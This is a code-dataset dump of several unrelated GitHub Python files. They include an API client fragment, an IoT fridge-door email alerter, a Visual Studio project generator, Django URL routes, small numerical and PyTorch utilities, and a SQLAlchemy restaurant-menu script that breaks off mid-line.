object. The working revision will be selected.\n\n Optional arguments:\n\n * lifecycle_phase - An ItemLifecyclePhase object. Defaults to `item_obj.lifecycle_phase` if not specified\n \"\"\"\n\n if not lifecycle_phase:\n lifecycle_phase = item_obj.lifecycle_phase\n\n if lifecycle_phase.stage=='PRELIMINARY':\n raise ValueError(\"Must specify a DESIGN or PRODUCTION lifecycle phase\")\n\n data={\n \"filesView\":{\n \"includedInThisChange\":True,\n \"notes\":f\"Add {item_obj.name}\"\n },\n \"sourcingView\":{\n \"includedInThisChange\":True,\n \"notes\":f\"Add {item_obj.name}\"\n },\n \"specsView\":{\n \"includedInThisChange\":True,\n \"notes\":f\"Add {item_obj.name}\"\n },\n \"bomView\":{\n \"includedInThisChange\":True,\n \"notes\":f\"Add {item_obj.name}\"\n },\n \"newRevisionNumber\": new_rev,\n \"newItemRevision\":{\n \"guid\":item_obj.working_revision.guid\n },\n \"newLifecyclePhase\":{\n \"guid\": lifecycle_phase.guid\n }\n }\n self._client._post(f\"/changes/{self.guid}/items\", data=data)\n\nclass ChangeFileAssociation(Object):\n \n @property\n @lazy\n def file(self):\n return self._client.File(self.__dict__['file']['guid'])\n\n @property\n def endpoint(self):\n return f\"/changes/{self.change.guid}/files/{self.guid}\"\n\nclass ChangeItemAssociation(Object):\n \n @property\n @lazy\n def item(self):\n return self._client.Item(self.__dict__['item']['guid'])\n\n @property\n def endpoint(self):\n return f\"/changes/{self.change.guid}/files/{self.guid}\"\n\n\nclass ChangeImplementationTask(Object):\n\n @property\n def endpoint(self):\n return f\"/changes/{self.change.guid}/implementationtasks/{self.guid}\"\n\n @property\n @lazy\n def files_associations(self):\n files = self._client.Listing(self._client.ChangeImplementationTaskFile, endpoint=f\"{self.endpoint}/files\")\n for file in files:\n file.task=self\n return files\n \n\nclass ChangeImplementationTaskFile(Object):\n\n @property\n def endpoint(self):\n return f\"/changes/{self.task.change.guid}/implementationtasks/{self.task.guid}/files/{self.guid}\"\n\n @property\n @lazy\n def file(self):\n return self._client.File(self.__dict__['file']['guid'])\n \n\nclass ImplementationFileAssociation(Object):\n\n @property\n def endpoint(self):\n return f\"/changes/{self.change.guid}/files/{self.guid}\"\n\n @property\n @lazy\n def file(self):\n return self._client.File(self.__dict__['file']['guid'])\n \nclass ChangeCategory(Object):\n\n listing_endpoint=\"/settings/changes/categories\"\n endpoint=listing_endpoint+\"/{guid}\"\n _can_paginate=False\n\nclass ChangeAttribute(Object):\n\n listing_endpoint=\"/settings/changes/attributes\"\n","repo_name":"TheCodeForge/pyrena","sub_path":"pyrena/classes/change.py","file_name":"change.py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"41729198705","text":"import mail, json, time, math, statistics\r\nfrom boltiot import Email, Bolt\r\ndef compute_bounds(history_data,frame_size,factor):\r\n if len(history_data)frame_size :\r\n del history_data[0:len(history_data)-frame_size]\r\n Mn=statistics.mean(history_data)\r\n Variance=0\r\n for data in history_data :\r\n Variance += math.pow((data-Mn),2)\r\n Zn = factor * math.sqrt(Variance / frame_size)\r\n High_bound = history_data[frame_size-1]+Zn\r\n Low_bound = history_data[frame_size-1]-Zn\r\n return [High_bound,Low_bound]\r\n\r\nmybolt = Bolt(mail.API_KEY, mail.DEVICE_ID)\r\nmailer = Email(mail.MAILGUN_API_KEY, mail.SANDBOX_URL, mail.SENDER_EMAIL, mail.RECIPIENT_EMAIL)\r\nhistory_data=[]\r\n\r\nwhile True:\r\n response = mybolt.analogRead('A0')\r\n data = json.loads(response)\r\n if data['success'] != 1:\r\n print(\"There was an error while retriving the data.\")\r\n print(\"This is the error: \" + str(data['value']))\r\n time.sleep(10)\r\n continue\r\n\r\n print (\"This is the value \"+data['value'])\r\n sensor_value=0\r\n try:\r\n sensor_value = int(data['value'])\r\n except e:\r\n print(\"There was an error while parsing the response: \",e)\r\n continue\r\n\r\n bound = compute_bounds(history_data,mail.FRAME_SIZE,mail.MUL_FACTOR)\r\n if not bound:\r\n required_data_count=mail.FRAME_SIZE-len(history_data)\r\n print(\"Not enough data to compute Z-score. Need \",required_data_count,\" more data points\")\r\n history_data.append(int(data['value']))\r\n time.sleep(10)\r\n continue\r\n\r\n try:\r\n if sensor_value > bound[0] :\r\n print(\"Making request to Mailgun to send an email\")\r\n response = mailer.send_email(\"Alert\", \"Someone has opened the fridge door \" +str(sensor_value))\r\n response_text = json.loads(response.text)\r\n print(\"Response received from Mailgun is: \" + str(response_text['message']))\r\n elif sensor_value < bound[1]:\r\n print(\"Making request to Mailgun to send an email\")\r\n response = mailer.send_email(\"Alert\", \"Someone has closed the fridge door \" +str(sensor_value))\r\n response_text = json.loads(response.text)\r\n print(\"Response received from Mailgun is: \" + str(response_text['message']))\r\n history_data.append(sensor_value);\r\n except Exception as e:\r\n print (\"Error\",e)\r\n time.sleep(10)\r\n","repo_name":"AvinashKallepalli/Temperature-Monitoring-system-with-Smart-Refrigerator","sub_path":"cap.py","file_name":"cap.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2034687058","text":"import os, glob, uuid, configparser, hashlib\n\nclass ProjectConfiguration:\n\tdef __init__(self):\n\t\tself.Name = \"unnamed\"\n\t\tself.Type = \"Debug\"\n\t\tself.CmdBuild = \"echo \\\"CmdBuild not set\\\"\"\n\t\tself.CmdClean = \"echo \\\"CmdClean not set\\\"\"\n\t\tself.Defines = []\n\t\tself.build_commands = []\n\t\t\n\tdef AddPostBuildCommand(self, cmd):\n\t\tself.build_commands.append(cmd)\n\n\t\t\nclass UUIDStorage:\n\tdef __init__(self):\n\t\tself.config = configparser.ConfigParser()\n\t\tif(os.path.isfile(\".vs\\\\VSGen.ini\")):\n\t\t\tself.config.read(\".vs\\\\VSGen.ini\")\n\t\tself.Save()\n\t\t\n\tdef Contains(self, name):\n\t\tif \"UUID\" in self.config:\n\t\t\tif name in self.config[\"UUID\"]:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\telse:\n\t\t\treturn False\n\t\t\n\tdef Set(self, name, data):\n\t\tif (not \"UUID\" in self.config):\n\t\t\tself.config[\"UUID\"] = {}\n\t\tself.config[\"UUID\"][name] = data\n\t\tself.Save()\n\t\n\tdef Get(self, name):\n\t\treturn self.config[\"UUID\"][name]\n\t\t\n\tdef Save(self):\n\t\tif(not os.path.isdir(\".vs\")):\n\t\t\tos.makedirs(\".vs\")\n\t\tfile = open(\".vs\\\\VSGen.ini\", \"w+\") \n\t\tself.config.write(file)\n\t\tfile.close()\n\n\nclass HASHStorage:\n\tdef __init__(self):\n\t\tself.config = configparser.ConfigParser()\n\t\tif(os.path.isfile(\".vs\\\\VSGen.ini\")):\n\t\t\tself.config.read(\".vs\\\\VSGen.ini\")\n\t\tself.Save()\n\t\t\n\tdef Contains(self, name):\n\t\tif \"HASH\" in self.config:\n\t\t\tif name in self.config[\"HASH\"]:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\telse:\n\t\t\treturn False\n\t\t\n\tdef Set(self, name, data):\n\t\tif (not \"HASH\" in self.config):\n\t\t\tself.config[\"HASH\"] = {}\n\t\tself.config[\"HASH\"][name] = data\n\t\tself.Save()\n\t\n\tdef Get(self, name):\n\t\treturn self.config[\"HASH\"][name]\n\t\t\n\tdef Save(self):\n\t\tif(not os.path.isdir(\".vs\")):\n\t\t\tos.makedirs(\".vs\")\n\t\tfile = open(\".vs\\\\VSGen.ini\", \"w+\") \n\t\tself.config.write(file)\n\t\tfile.close()\n\n\t\t\ndef ValidatedCopy(name, temp_file, target_file):\n\thasher = hashlib.md5()\n\n\twith open(temp_file, 'rb') as afile:\n\t\tbuf = afile.read()\n\t\thasher.update(buf)\n\thash = hasher.hexdigest()\n\t\n\thash_storage = HASHStorage()\n\t\n\tif(hash_storage.Contains(name) and os.path.isfile(target_file)):\n\t\tif(hash == hash_storage.Get(name)):\n\t\t\tos.remove(temp_file)\n\t\t\treturn False\t\t\t\n\t\n\thash_storage.Set(name, hash)\n\tos.replace(temp_file, target_file)\n\treturn True\n\t\t\n\ndef AddDirectoryTree(List, Path):\n\ttemp_list = []\n\titem = Path\n\t\n\twhile(not item == \"\"):\n\t\ttemp_list.append(item)\n\t\titem = item=os.path.dirname(item)\n\t\n\tfor i in reversed(temp_list):\n\t\tif (not i in List):\n\t\t\tList.append(i)\n\t\t\nclass ProjectGenerator:\n\tdef __init__(self, name):\n\t\tself.Config = []\n\t\tself.source_locations = []\n\t\tself.header_locations = []\n\t\tself.dependencies = []\n\t\tself.output_location = \"\"\n\t\tself.name = name\n\t\tself.UUID = \"\"\n\t\t\n\tdef AddSourceDirectory(self, directory):\n\t\tif(not os.path.isabs(directory)):\n\t\t\tdirectory = os.getcwd() + \"\\\\\" + directory\n\t\tself.source_locations.append(directory)\n\t\t\n\tdef AddIncludeDirectory(self, directory):\n\t\tif(not os.path.isabs(directory)):\n\t\t\tdirectory = os.getcwd() + \"\\\\\" + directory\n\t\tself.header_locations.append(directory)\n\t\t\n\tdef SetProjectLocation(self, directory):\n\t\tself.output_location = directory\n\t\t\n\tdef AddConfig(self):\n\t\tself.Config.append(ProjectConfiguration())\n\t\treturn len(self.Config) - 1\n\t\t\n\tdef AddDependency(self, other):\n\t\tself.dependencies.append(other)\n\t\t\n\tdef Generate(self):\n\t\n\t\tUUID = UUIDStorage()\n\t\t\n\t\tif(UUID.Contains(self.name)):\n\t\t\tself.UUID = UUID.Get(self.name)\n\t\telse:\n\t\t\tself.UUID = str(uuid.uuid4())\n\t\t\tUUID.Set(self.name, self.UUID)\n\t\n\t\tsource_files = []\n\t\theader_files = []\n\t\t\n\t\tfor directory in self.source_locations:\n\t\t\tfor file in glob.glob(directory + \"\\\\**\\\\*.cpp\", recursive=True):\n\t\t\t\tsource_files.append(file)\n\t\t\tfor file in glob.glob(directory + \"\\\\**\\\\*.c\", recursive=True):\n\t\t\t\tsource_files.append(file)\n\t\t\t\t\n\t\tfor directory in self.header_locations:\n\t\t\tfor file in glob.glob(directory + \"\\\\**\\\\*.h\", recursive=True):\n\t\t\t\theader_files.append(file)\n\t\t\n\t\tif(self.output_location == \"\"):\n\t\t\tself.output_location = os.getcwd()\n\t\t\t\n\t\tif(not os.path.isabs(self.output_location)):\n\t\t\tself.output_location = os.getcwd() + \"\\\\\" + self.output_location\n\t\t\n\t\tif(not os.path.isdir(self.output_location)):\n\t\t\tos.makedirs(self.output_location)\n\t\t\t\n\t\tfilename = self.output_location + \"\\\\\" + self.name + \".vcxproj\"\n\t\tfilename_temp = self.output_location + \"\\\\\" + self.name + \".vcxproj.tmp\"\n\t\t\n\t\tfile = open(filename_temp, \"w+\") \n\t\tfile.write(\"\\n\")\n\t\tfile.write(\"\\n\")\n\t\t\n\t\t## config definitions\n\t\tfile.write(\"\\n\")\n\t\tfor config in self.Config:\n\t\t\tfile.write(\"\\n\")\n\t\t\tfile.write(\"\" + config.Name + \"_\" + config.Type + \"\\n\")\n\t\t\tfile.write(\"Win32\\n\")\n\t\t\tfile.write(\"\\n\")\n\t\tfile.write(\"\\n\")\n\t\t\n\t\t# Globals\n\t\tfile.write(\"\\n\")\n\t\tfile.write(\"{\" + self.UUID + \"}\\n\")\n\t\tfile.write(\"15.0\\n\")\n\t\tfile.write(\"v141\\n\")\n\t\tfile.write(\"\\n\")\n\t\t\n\t\t# config settings\n\t\tfile.write(\"\\n\")\n\t\tfor config in self.Config:\n\t\t\tfile.write(\"\\n\")\n\t\t\tfile.write(\"Makefile\\n\")\n\t\t\tfile.write(\"v141\\n\")\n\t\t\tfile.write(\"\\n\")\n\t\t\t\n\t\t\t\n\t\t# config property sheets\n\t\tfile.write(\"\\n\")\n\t\tfor config in self.Config:\n\t\t\tfile.write(\"\\n\")\n\t\t\tfile.write(\"\\n\")\n\t\t\tfile.write(\"\\n\")\n\t\t\t\n\t\t# config properties\n\t\tfor config in self.Config:\n\t\t\n\t\t\tcmd = \"\"\n\t\t\tfor command in config.build_commands:\n\t\t\t\tcmd += \"\\n\" + command\n\t\t\n\t\t\tfile.write(\"\\n\")\n\t\t\tfile.write(\"$(VC_IncludePath);$(WindowsSDK_IncludePath)\\n\")\n\t\t\tfile.write(\"cd /d \\\"$(SolutionDir)\\\" && \" + config.CmdBuild + cmd + \"\\n\")\n\t\t\tfile.write(\"cd /d \\\"$(SolutionDir)\\\" && \" + config.CmdClean + \"\\n\")\n\t\t\tfile.write(\"$(SolutionDir)bin\\\\$(Configuration)\\n\")\n\t\t\t\n\t\t\tif(len(config.Defines) > 0):\n\t\t\t\tfile.write(\"\")\n\t\t\t\t\n\t\t\t\tfor define in config.Defines:\n\t\t\t\t\tfile.write(define+\";\")\n\t\t\t\tfile.write(\"\\n\")\n\t\t\t\t\n\t\t\tfile.write(\"\\n\")\n\n\t\t\t\n\t\tfile.write(\"\\n\")\n\t\tfile.write(\"\\n\")\n\t\t\n\t\t# Source file list\n\t\tfile.write(\"\\n\")\n\t\tfor source in source_files:\n\t\t\tfile.write(\"\\n\")\n\t\tfile.write(\"\\n\")\n\t\t\n\t\t# Header file list\n\t\tfile.write(\"\\n\")\n\t\tfor header in header_files:\n\t\t\tfile.write(\"\\n\")\n\t\tfile.write(\"\\n\")\n\t\t\n\t\tfile.write(\"\")\n\t\t\n\t\tfile.close()\n\t\t\n\t\tif(ValidatedCopy(self.name + \".vcxproj\", filename_temp, filename)):\n\t\t\tprint(\"Created \" + filename)\n\t\telse:\n\t\t\tprint(\"Skipped \" + filename)\n\t\t\n\t\tfilename = self.output_location + \"\\\\\" + self.name + \".vcxproj.filters\";\n\t\tfilename_temp = self.output_location + \"\\\\\" + self.name + \".vcxproj.filters.tmp\";\n\t\t\n\t\tfile = open(filename_temp, \"w+\") \n\t\tfile.write(\"\\n\")\n\t\tfile.write(\"\\n\")\n\t\t\n\t\tfilters = []\n\t\t\t\t\n\t\tfor source_file in source_files:\n\t\t\tAddDirectoryTree(filters, os.path.relpath(os.path.dirname(source_file), os.getcwd()))\n\t\t\t\t\n\t\tfor source_file in header_files:\n\t\t\tAddDirectoryTree(filters, os.path.relpath(os.path.dirname(source_file), os.getcwd()))\n\t\t\n\t\t# Filter definitions\n\t\tfile.write(\"\\n\")\n\t\t\n\t\tUUID = UUIDStorage()\n\t\t\n\t\tfor filter in filters:\n\t\t\tfile.write(\"\\n\")\n\t\t\t\n\t\t\tif(UUID.Contains(filter)):\n\t\t\t\tid = UUID.Get(filter)\n\t\t\telse:\n\t\t\t\tid = str(uuid.uuid4())\n\t\t\t\tUUID.Set(filter, id)\n\t\t\t\n\t\t\tfile.write(\"{\" + str(id).upper() + \"}\\n\")\n\t\t\tfile.write(\"\\n\")\n\t\t\n\t\tfile.write(\"\\n\")\n\t\t\n\t\t# File registry\n\t\tfile.write(\"\\n\")\n\t\t\n\t\tfor source_file in source_files:\n\t\t\tfile.write(\"\\n\")\n\t\t\tfile.write(\"\" + os.path.relpath(os.path.dirname(source_file), os.getcwd()) + \"\\n\")\n\t\t\tfile.write(\"\\n\")\n\t\t\t\n\t\tfor source_file in header_files:\n\t\t\tfile.write(\"\\n\")\n\t\t\tfile.write(\"\" + os.path.relpath(os.path.dirname(source_file), os.getcwd()) + \"\\n\")\n\t\t\tfile.write(\"\\n\")\n\t\t\t\n\t\tfile.write(\"\\n\")\n\t\t\n\t\t\n\t\tfile.write(\"\")\n\t\tfile.close()\n\t\t\n\t\tif(ValidatedCopy(self.name + \".vcxproj.filters\", filename_temp, filename)):\n\t\t\tprint(\"Created \" + filename)\n\t\telse:\n\t\t\tprint(\"Skipped \" + filename)\n\t\t\n\t\t\n\t\t# Debug information\n\t\t\n\t\tfilename = self.output_location + \"\\\\\" + self.name + \".vcxproj.user\";\n\t\tfilename_temp = self.output_location + \"\\\\\" + self.name + \".vcxproj.user.tmp\";\n\t\t\n\t\tfile = open(filename_temp, \"w+\") \n\t\tfile.write(\"\\n\")\n\t\tfile.write(\"\\n\")\n\t\t\n\t\tfor config in self.Config:\n\t\t\tfile.write(\"\\n\")\n\t\t\tfile.write(\"$(SolutionDir)bin\\\\$(Configuration)\\\\\" + self.name + \".exe\\n\")\n\t\t\tfile.write(\"WindowsLocalDebugger\\n\")\n\t\t\tfile.write(\"\\n\")\n\t\t\n\t\tfile.write(\"\")\n\t\tfile.close()\n\t\t\n\t\tif(ValidatedCopy(self.name + \".vcxproj.user\", filename_temp, filename)):\n\t\t\tprint(\"Created \" + filename)\n\t\telse:\n\t\t\tprint(\"Skipped \" + filename)\n\t\t\nclass SolutionGenerator:\n\tdef __init__(self, name):\n\t\tself.output_location = \"\"\n\t\tself.name = name\n\t\tself.projects = []\n\t\t\n\tdef AddProject(self, project):\n\t\tself.projects.append(project)\n\t\t\n\tdef Generate(self):\n\t\tfor project in self.projects:\n\t\t\tif(project.UUID == \"\"):\n\t\t\t\tprint(\"Not all projects have been generated yet\")\n\t\t\t\treturn;\n\t\t\n\t\tif(self.output_location == \"\"):\n\t\t\tself.output_location = os.getcwd()\n\t\t\t\n\t\tif(not os.path.isabs(self.output_location)):\n\t\t\tself.output_location = os.getcwd() + \"\\\\\" + self.output_location\n\t\t\n\t\tif(not os.path.isdir(self.output_location)):\n\t\t\tos.makedirs(self.output_location)\n\t\t\t\n\t\tfilename = self.output_location + \"\\\\\" + self.name + \".sln\";\n\t\tfilename_temp = self.output_location + \"\\\\\" + self.name + \".sln.tmp\";\n\t\t\n\t\tfile = open(filename_temp, \"w+\")\n\t\tfile.write(\"Microsoft Visual Studio Solution File, Format Version 12.00\\n\")\n\t\tfile.write(\"# Visual Studio 15\\n\")\n\t\tfile.write(\"VisualStudioVersion = 15.0.28307.168\\n\")\n\t\tfile.write(\"MinimumVisualStudioVersion = 10.0.40219.1\\n\")\n\t\t\n\t\tfor project in self.projects:\n\t\t\tfile.write(\"Project(\\\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\\\") = \\\"\" + project.name + \"\\\", \\\"\" + project.output_location + \"\\\\\" + project.name + \".vcxproj\\\", \\\"{\" + project.UUID.upper() + \"}\\\"\\n\")\n\t\t\t\n\t\t\tif(len(project.dependencies)>0):\n\t\t\t\tfile.write(\"ProjectSection(ProjectDependencies) = postProject\\n\")\n\t\t\t\t\n\t\t\t\tfor other in project.dependencies:\n\t\t\t\t\tfile.write(\"{\" + other.UUID.upper() + \"} = {\" + other.UUID.upper() + \"}\\n\")\n\t\t\t\t\n\t\t\t\tfile.write(\"EndProjectSection\\n\")\n\t\t\t\n\t\t\tfile.write(\"EndProject\\n\")\n\t\t\n\t\tconfigs = []\n\t\tfor project in self.projects:\n\t\t\tfor config in project.Config:\n\t\t\t\tif(not config.Type + \"|\" + config.Name in configs):\n\t\t\t\t\tconfigs.append(config.Type + \"|\" + config.Name)\n\t\t\n\t\tfile.write(\"Global\\n\")\n\t\tfile.write(\"\\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\\n\")\n\t\tfor config in configs:\n\t\t\tfile.write(\"\\t\\t\" + config + \" = \" + config + \"\\n\")\n\t\tfile.write(\"\\tEndGlobalSection\\n\")\n\t\t\n\t\tfile.write(\"\\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\\n\")\n\t\tfor project in self.projects:\n\t\t\tfor config in project.Config:\n\t\t\t\tfile.write(\"\\t\\t{\" + project.UUID.upper() + \"}.\" + config.Type + \"|\" + config.Name + \".ActiveCfg = \" + config.Name + \"_\" + config.Type + \"|Win32\\n\")\n\t\t\t\tfile.write(\"\\t\\t{\" + project.UUID.upper() + \"}.\" + config.Type + \"|\" + config.Name + \".Build.0 = \" + config.Name + \"_\" + config.Type + \"|Win32\\n\")\n\t\tfile.write(\"\\tEndGlobalSection\\n\")\n\t\t\n\t\tfile.write(\"EndGlobal\\n\")\n\t\tfile.close()\n\t\t\n\t\tif(ValidatedCopy(self.name + \".sln\", filename_temp, filename)):\n\t\t\tprint(\"Created \" + filename)\n\t\telse:\n\t\t\tprint(\"Skipped \" + filename)\n","repo_name":"R00tDroid/DataWise2","sub_path":"Toolset/Scripts/VSGen.py","file_name":"VSGen.py","file_ext":"py","file_size_in_byte":13344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"18424612191","text":"from django.urls import path\nfrom core.api.views import stocks_views as views\n\nurlpatterns = [\n path('', views.getLiveStocks, name=\"live-stocks\"),\n path('top-gainers/', views.getTopGainers, name=\"top-gainers\"),\n path('top-losers/', views.getTopLosers, name=\"top-losers\"),\n\n path('/', views.getLiveStock, name=\"single-stock\"),\n]","repo_name":"rroy11705/stock_exchange","sub_path":"core/api/urls/stocks_urls.py","file_name":"stocks_urls.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37730785228","text":"import numpy as np\nimport math\nfrom scipy.integrate import quad\n\n# Parameters:\nalpha = 3\na = 0\nb = 4\n\n# Integrand:\ndef f(x):\n\treturn x**alpha\n\n# Samples from distribution h(x,y):\ndef sample_h():\n\tx = np.random.uniform(a,b)\n\ty = np.random.uniform(0,f(b))\n\tif (y <= f(x)):\n\t\treturn 1\n\telse:\n\t\treturn 0\n\n# Iterates over requested values of n:\nfor k in range(7):\n\n\tn = 10**k\n\n\taccumulator = 0\n\n\t# Samples from h(x,y) a total of n times:\n\tfor i in range(n):\n\t\taccumulator += sample_h()\n\n\t# Calculates sample mean:\n\tresult = accumulator*1.0 / n\n\n\t# Multiplies by area of rectangle [a,b]x[f(a),f(b)]:\n\trect_area = (b-a)*f(b)\n\tresult = result * rect_area\n\n\t# Calculates relative error and prints it:\n\treal_value = quad(f, a, b)[0]\n\trel_error = math.fabs(result-real_value)/real_value\n\tprint(\"(\"+str(n)+\",\"+str(rel_error)+\")\")\n","repo_name":"cemarciano/Monte-Carlo-Experiments","sub_path":"List3/question6c.py","file_name":"question6c.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10010192660","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2023/3/1 18:14\r\n# @Author : Kuang Hangdong\r\n# @File : model.py\r\n# @Software: PyCharm\r\n# @desc :\r\nimport torch\r\nimport torchvision\r\nfrom torchvision import models\r\nimport torch.nn.functional as F\r\n\r\ndef if_not_backbone(device, num_bb):\r\n \"\"\"\r\n :param device:\r\n :param num_bb:\r\n :return: backbone_list\r\n \"\"\"\r\n backbone_list = [torchvision.models.resnet18(weights=models.ResNet18_Weights.IMAGENET1K_V1).to(device).eval(),\r\n torchvision.models.resnet34(weights=models.ResNet34_Weights.IMAGENET1K_V1).to(device).eval(),\r\n torchvision.models.resnet50(weights=models.ResNet50_Weights.IMAGENET1K_V1).to(device).eval()]\r\n\r\n for i in range(len(backbone_list) - num_bb):\r\n backbone_list.pop()\r\n\r\n return backbone_list\r\n\r\nclass Model(torch.nn.Module):\r\n def __init__(self, in_d, out_d, num_classes):\r\n super(Model, self).__init__()\r\n self.fc1 = torch.nn.Linear(in_d, out_d)\r\n self.fc2 = torch.nn.Linear(out_d, num_classes)\r\n\r\n def forward(self, x):\r\n x1 = torch.relu(self.fc1(x.squeeze()))\r\n x1 = F.normalize(x1, dim=1)\r\n\r\n x2 = self.fc2(x1)\r\n return x2, x1","repo_name":"401208163/FedPH","sub_path":"tool/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26105167438","text":"def ReadEvenLines(file):\n f = open(file,'r');\n file_contents = f.readlines();\n outputFile = open('ReadEvenLinesOutput.txt','w');\n if len(f.readlines()) > 1000:\n print(\"The file must contain at most 1,000 lines.\")\n else:\n for i in range(len(file_contents)):\n if (i+1)%2 == 0:\n print(file_contents[i])\n outputFile.write(file_contents[i])\n f.close()\n outputFile.close()\n","repo_name":"jwgd93/demo-tool-maker-workshop-2022","sub_path":"ini5.py","file_name":"ini5.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72460339920","text":"import torch\nimport numpy as np\n\nclass Memory:\n\tdef __init__(self, max_len, shape, dtype=torch.uint8):\n\t\tself.s_s = torch.zeros((max_len,) + shape, requires_grad=False, dtype=dtype)\n\t\tself.a_s = torch.zeros((max_len), requires_grad=False, dtype=dtype)\n\t\tself.sp_s = torch.zeros((max_len,) + shape, requires_grad=False, dtype=dtype)\n\t\tself.r_s = torch.zeros((max_len), requires_grad=False)\n\t\tself.done_mask = np.zeros(max_len, dtype=bool)\n\t\tself._counter = 0\n\t\tself.max_len = max_len\n\n\tdef __len__(self):\n\t\treturn min(self._counter, self.max_len)\n\n\tdef append(self, t):\n\t\ti = self._counter\n\t\ts, a, r, sp, done = t\n\t\tidx = i % self.max_len\n\n\t\tself.s_s[idx] = s\n\t\tself.a_s[idx] = a\n\t\tself.r_s[idx] = r\n\t\tself.sp_s[idx] = sp\n\t\tself.done_mask[idx] = done\n\n\t\tself._counter += 1\n\n\tdef sample(self, n):\n\t\tidx = np.random.randint(0, min(self._counter, self.max_len), size=n)\n\n\t\treturn (\n\t\t\tself.s_s[idx],\n\t\t\tself.a_s[idx],\n\t\t\tself.r_s[idx],\n\t\t\tself.sp_s[idx],\n\t\t\tself.done_mask[idx]\n\t\t)\n","repo_name":"csreid/atari-mtdqn","sub_path":"memory.py","file_name":"memory.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"72749454457","text":"from django.conf.urls import url\nfrom restapi import views\n\nurlpatterns = [\n url(r'^snippets/$', views.snippet_list),\n url(r'^snippets/(?P[0-9]+)/$', views.snippet_detail),\n url(r'^testgetquery/$',views.TestView.as_view()),\n url(r'^testpostquery$',views.TestView.as_view()),\n url(r'^testauth$',views.TestAuthView.as_view()),\n url(r'^onDemandStories$',views.CircleViewSet.as_view({'get': 'list'}))\n]","repo_name":"swarna-a-26/PythonLearnDjango","sub_path":"src/restapi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"3342707300","text":"import argparse\nimport logging\n\nimport cog_tool.data_manipulation as dm\n\ndef get_command():\n return 'status'\n\ndef get_help():\n return 'Alter the status of an item.'\n\ndef get_argparser():\n parser = argparse.ArgumentParser(add_help=False)\n parser.add_argument('file', nargs=1, help='File to change.')\n parser.add_argument('status', nargs=1,\n choices=['not-started', 'ongoing', 'waiting', 'done'],\n help='Status to set.')\n return parser\n\ndef execute(state, args):\n key = args.file[0]\n data = state.get(key)\n status = args.status[0]\n\n dm.set(data, 'STATUS', status)\n logging.info('\"%s\" is now %s' % (dm.get(data, 'NAME'), status))\n\n state.save(key)\n","repo_name":"Tobbe/cog","sub_path":"cog_tool/command/command_status.py","file_name":"command_status.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"39122020696","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import Column, ForeignKey, Integer, String\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy import create_engine\n\n\n\nBase = declarative_base()\n\n\nclass Restaurant(Base):\n __tablename__ = 'restaurant'\n\n id = Column(Integer, primary_key=True)\n name = Column(String(250), nullable=False)\n\n\nclass MenuItem(Base):\n __tablename__ = 'menu_item'\n\n name = Column(String(80), nullable=False)\n id = Column(Integer, primary_key=True)\n description = Column(String(250))\n price = Column(String(8))\n course = Column(String(250))\n restaurant_id = Column(Integer, ForeignKey('restaurant.id'))\n restaurant = relationship(Restaurant)\n\n\nengine = create_engine('sqlite:///restaurantsmenu.db')\n\n\nBase.metadata.create_all(engine)\n\n\n \nengine = create_engine('sqlite:///restaurantsmenu.db')\n# Bind the engine to the metadata of the Base class so that the\n# declaratives can be accessed through a DBSession instance\nBase.metadata.bind = engine\n \nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\n#The cruDdy Crab\nrestaurant1 = Restaurant(name=\"The CRUDdy Crab\", id=1)\nsession.add(restaurant1)\nsession.commit()\n\nmenu1 = MenuItem(name=\"Cheese Pizza\", description=\"made with fresh cheese\", price=\"$5.99\", course=\"Entree\", restaurant_id=1)\nsession.add(item1)\nsession.commit()\n\n# The Blue Birgers\nrestaurant2 = Restaurant(name=\"Blue Burgers\", id=2)\nsession.add(restaurant2)\nsession.commit()\n\nmenu2 = MenuItem(name=\"Chocolate Cake\", description=\"made with Dutch Chocolate\", price=\"$3.99\", course=\"Dessert\", restaurant_id=2)\nsession.add(item2)\nsession.commit()\n\n#Taco Hut\nrestaurant3 = Restaurant(name=\"Taco Hut\", id=3)\nsession.add(restaurant3)\nsession.commit()\n\nmenu3 = MenuItem(name=\"Caesar Salad\", description=\"with fresh organic vegetables\", price=\"$5.99\", course=\"Entree\", restaurant_id=3)\nsession.add(item3)\nsession.commit()\n\n\n#other items\nmenu4= MenuItem(name=\"Iced Tea\", description=\"with lemon\", price=\"$.99\", course=\"Beverage\", restaurant_id=4)\nsession.add(item4)\nsession.commit()\n\nmenu5= MenuItem(name=\"Spinach Dip\", description=\"creamy dip with fresh spinach\", price=\"$1.99\", course=\"Appetizer\", 